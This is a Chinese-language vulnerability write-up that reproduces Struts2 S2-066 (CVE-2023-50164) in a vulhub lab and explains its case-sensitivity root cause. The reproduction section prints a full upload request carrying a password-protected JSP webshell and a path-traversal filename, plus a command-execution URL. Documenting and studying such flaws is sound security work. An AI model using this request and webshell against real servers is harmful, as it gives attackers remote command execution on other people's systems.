Struts2 S2-066(CVE-2023-50164)漏洞復現
漏洞背景
1. Apache Struts2 框架
Apache Struts2 是一個流行的開源 Web 應用框架,用于開發 Java EE Web 應用。它使用并擴展了 Java Servlet API,鼓勵開發者采用模型-視圖-控制器(MVC)架構。該框架為開發者提供了豐富的標簽和實用工具,提供了 action-based 的架構,以創建易于維護和擴展的企業級 Web 應用。
2.影響版本:
-
Apache Struts 2.0.0 - 2.5.32
-
Apache Struts 6.0.0 - 6.3.0
漏洞原理
1.漏洞介紹
Apache Struts2 S2-066 是一個存在于文件上傳功能中的路徑穿越漏洞。攻擊者可以通過操縱表單字段名稱的大小寫,將文件上傳到預期上傳目錄之外的位置。
2. 漏洞位置
漏洞出現在 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 類中,尤其是在 parseRequest 方法處理上傳文件時,對 filename 參數未充分過濾路徑穿越符號。Struts2 原本會對上傳文件名進行過濾,但攻擊者可以借助使用 filename=../../webapps/ROOT/shell.jsp ,從而繞過校驗并將文件寫入 Web 根目錄
3.漏洞利用
在 Struts2 的文件上傳處理過程中,框架通常只保留上傳文件的基本名稱(basename)以防止路徑穿越。但是,由于處理過程中的一個邏輯缺陷,攻擊者可以通過以下方式繞過這個保護:使用首字母大寫的表單字段名(例如,使用 "Upload" 而不是 "upload"),提供一個包含目標路徑穿越文件名的單獨表單字段,這使得未經處理的文件名可以覆蓋基本名稱保護,最終導致成功的路徑穿越。
漏洞復現
通過vulhub靶場搭建,然后訪問地址如下圖:

是一個文件上傳的功能點。雖然文件上傳成功,但由于服務器配置,JSP 代碼無法在上傳目錄 /upload/ 中執行。如下圖所示:

然后現在繞過,利用過程中的關鍵要素:
- 表單字段名使用首字母大寫("Upload")
- 單獨的 "uploadFileName" 字段包含路徑穿越的 payload: ../zyon.jsp

數據包如下:
1 POST /index.action HTTP/1.1 2 Host: 192.168.49.151:8080 3 Accept-Encoding: gzip, deflate, br 4 Accept: */* 5 Accept-Language: en-US;q=0.9,en;q=0.8 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 7 Connection: close 8 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJF 9 Content-Length: 331 10 11 ------WebKitFormBoundaryl6ZFZPznNSPZOFJF 12 Content-Disposition: form-data; name="File"; filename="zyon.jsp" 13 Content-Type: text/plain 14 15 <% 16 if ("zyon".equals(request.getParameter("pass"))) { 17 String cmd = request.getParameter("cmd"); 18 Process p = Runtime.getRuntime().exec(cmd); 19 java.io.InputStream is = p.getInputStream(); 20 java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); 21 String output = s.hasNext() ? s.next() : ""; 22 out.println("<pre>" + output + "</pre>"); 23 } 24 %> 25 26 ------WebKitFormBoundaryl6ZFZPznNSPZOFJF 27 Content-Disposition: form-data; name="fileFileName" 28 29 ../zyon.jsp 30 ------WebKitFormBoundaryl6ZFZPznNSPZOFJF--
然后訪問文件上傳的地址,然后拼接上參數( http://192.168.49.151:8080/zyon.jsp?pass=zyon&cmd=ls )成功執行。如下圖:

漏洞分析
為什么漏洞利用過程中單字段名使用首字母大寫(如"Upload"、"File"....)?
根本原因:字段名與 Action 中的屬性映射規則 Struts2 使用 OGNL(Object-Graph Navigation Language)來將表單字段綁定到 Java 類中的屬性上。Struts2 默認是大小寫敏感的,這一點與 Java Bean 命名規范有關: Struts2 使用 Java 的反射機制調用 setter 方法。 Java Bean 規范要求屬性名匹配 setter,比如 Upload → setUpload()。 如果你用了小寫 upload,而類中是大寫 Upload,反射找不到對應的 setupload() 方法。

浙公網安備 33010602011771號